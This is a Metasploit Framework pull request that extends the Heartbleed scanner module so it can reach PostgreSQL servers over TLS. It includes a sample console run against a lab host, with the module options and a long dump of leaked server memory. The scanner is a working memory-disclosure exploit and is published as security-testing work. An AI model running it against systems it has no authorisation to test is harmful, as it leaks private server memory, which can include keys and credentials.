rapid7/metasploit-framework — pull request #3288 by herself (2014-04-21 21:35:44+00:00)
Title: Add PostgreSQL TLS support to the Heartbleed scanner

As the title says: add support for detecting vulnerable PostgreSQL installations with SSL enabled. Currently only a handful of tools detect this (Nessus for example doesn't).

A sample run:
```
msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):

Name Current Setting Required Description
---- --------------- -------- -----------
DUMPFILTER no Pattern to filter leaked memory before storing
MAX_KEYTRIES 10 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS pgsql2 yes The target address range or CIDR identifier
RPORT 5432 yes The target port
STATUS_EVERY 5 yes How many retries until status
THREADS 1 yes The number of concurrent threads
TLS_CALLBACK POSTGRES yes Protocol to use, "None" to use raw TLS sockets (accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 yes TLS/SSL version to use (accepted: SSLv3, 1.0, 1.1, 1.2)

msf auxiliary(openssl_heartbleed) > run
[*] 192.168.0.241:5432 - Trying to start SSL via POSTGRES
[*] 192.168.0.241:5432 - Sending Client Hello...
[*] 192.168.0.241:5432 - Sending Heartbeat...
[*] 192.168.0.241:5432 - Heartbeat response, 65551 bytes
[+] 192.168.0.241:5432 - Heartbeat response with leak
[*] 192.168.0.241:5432 - Printable info leaked: STC`]C"INDw}F^f"!98532ED/A!.98..P6%vt 11980_fsmUL8. 11876_fsm+ 16402_fsmhFcU 11885_fsmeQM+ 11817r 12050fsm5E$n4*e 11805_fsmF 11980_vmNE+5E 11988wMnI B{ 11883dxbF 16402_vm 11838fsmwMn 11821_fsm3*dx 12030_fsmb 11807y*7 12045:u`48(# 12011C?8hXZ3 16407fsmz9b 12037vmly 12016vmWf:u`4 11920_fsmC?8h 12030_vmA.qx 11892_vmHll 11843 -jGWf 11897_fsm,#Q 11897_vm$ C'A 120320WK!t H 11973Sv" -j 12040_fsm#Q!H, 11829fsmV5$`F$ 11889ernal.%g0WK 118991183&n 11895_fsm87 Sv(pg_internal.init84(' 118341203)CCtV5 118751189*)_T 11868_fsm87+D~J 118971197,/( 118871199-#^ 118491184.n( 12030vm187/ #p 1189111920NQ&% 1187111971:$ 11973_vm1852wPb 11994vm1923b% 1184512044d. 1187911825TdqDr> 11920_vm1826Cq 1197911857- 11858118685+h8 1192611809:Ad 120441202:&H[=?z 118201205;RK 118211186< 118551204=OS 11868fsm86>#@\ 118051192?2Co2 12029fsm99@\ 12055_fsm89A0. 118601197BzF 12045_fsm81Cry 11860_fsm05DV-! 11924fsm88EM.o! 119961190F.g62! 11895_vm183GV9sN" 11973_fsm_VHH,# 118191201Ic|7# 12055_vm191JH%$ 11888SION7KvpfJ$ 119001185L`v$ 11832_vm182Mpx$ PG_VERSION9N6% 12010fsm94O~b^& 119181180Pu& 11876_vm182QF_& 11856_fsm93R%"p' 11824fsm85StND( 119991193TY^( 119401191UxPo^{( 11803_fsm98V_R( 118271203W8) 11937vm202X,-a63t) 118561186Yhn* 119331190Z_8* 11914_vm197[z}tB* 11980vm199\R* 120351186]BXw+ 12024_vm202^Q{+ 11860_vm190__p!, 11904vm202`Mu- 11975vm189a l;x. 119921205b})/ 11864_vm02c/ 12020_vm197d\O0 119061183e0 12020_fsm91f0 11895vm184gm:0 120591182h'1 120241192i:31 11977_vm187jp2 118351198kIM7a33 119191204l5^64 118471199m696 118251190n"v7 119201184o}CV67 11874..2p=9 11982$NqgOxw9 120401186ra8; 119901200sMtr; 11901fsm06t$N= 11848fsm97u.:= 11864fsm98v*<6U= 12003fsm81w0*N= 12062vm180xW[M? 11977_fsm98y>!st? 11988_fsm99zF4|? 118121185{? 11808enode.|9i? 11988_vm185}f@ 11998enode.~6P%i@A 118521185NA 120391192zW.B(pg_filenode.map184]c`B 11854fsm80c)ot_C 11929_fsm05]%\NoC 118621180@OD 11843_fsm87ED 11809_vm02JvD 120541188TE 11805_vm02$GF 118761192Lo[LG 12022fsm00<-G 11881_fsm82$bH 12026fsm0058H 119231184B`3.I 120041188"8AI 11825_fsm910%iI 12006vm199@BI 1184011874,J 11881vm202mBfv"K 1191411923K 119911198.|%{K 11872_vm201AL 120201204 *L 119281197P{|L 119831185(DlL 120131193mSL 120421205X~1Ei 11986vm.qli 16395vm'o&j 11856_vm^w|bj 11830fsmsYk 11868_vmiul 11821_vmEqkl 11929vm%|l 11864_fsm%xl 11976E:(l 12060!au`m 12045DXNI 6k3l8E||[-#C[U]84|WCl3!,*<)@|r)zPF=f]A|K"&^U/x?[w"V^(WJYQ4lJ7V,:3E}8l^LNJ81}"?gG2y|<|mCS6}M6nj4,>1apTCyK^!k%M5Q$2A[9|#g:S8>iC]Bx1831R~y 12023Tz 12015vmtCz 11870fsm +oN| 11913F| 11803vmz6[t| 11941fsm5Ds| 11938_vmP"6} 11938_fsm1E} 11995fsmbBe} 11881_vmx[a 11811=L 11878T5> 11892_fsm 11832_fsm@SCm|<|y2Gg?"}18JNL^l8}E3:,V7Jl4QYJW(^V"w[?qwMwMpMx:D{o*c(K)Ht~iO#I" 2mX3)mn5W&d>` #\E\(Y$[ U _3C$zi&~7qqE6KBB]>p[]y1'F>1$mA:!`O!OEA}i%tnxxMxxM TynNrE4.=4'};}QhNb(!RG{D1BoWs<'FJU/kTX7!,Wn@I]."XoFs QyMYO1pO OPsh#j 50-"6RZDuFlCpK7Vmx)/$2,}1U_E=LH`t#kLE21wMwM00OO0xu>9xg;/ET7;y)1"MHWf;XI^c{,hmot1XI,QvKjM`fCQr8Z`,-KE9l(rv3daOV&9 .6$3qR}0hU^2VJm$):OV'K*nnb_x/hpqs5Ku(=:f$L_Q^nLe=i3^`_[XZ~hT&EYI{{~0IT/u7wf1x!i;A$,ta'6pVZxVW&Y3,3~4j>G~@O=l01I|=c~A+wNG,N|2>f)]U(:N:#mX(2cv%\=\8#b1yMyM0!1@"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```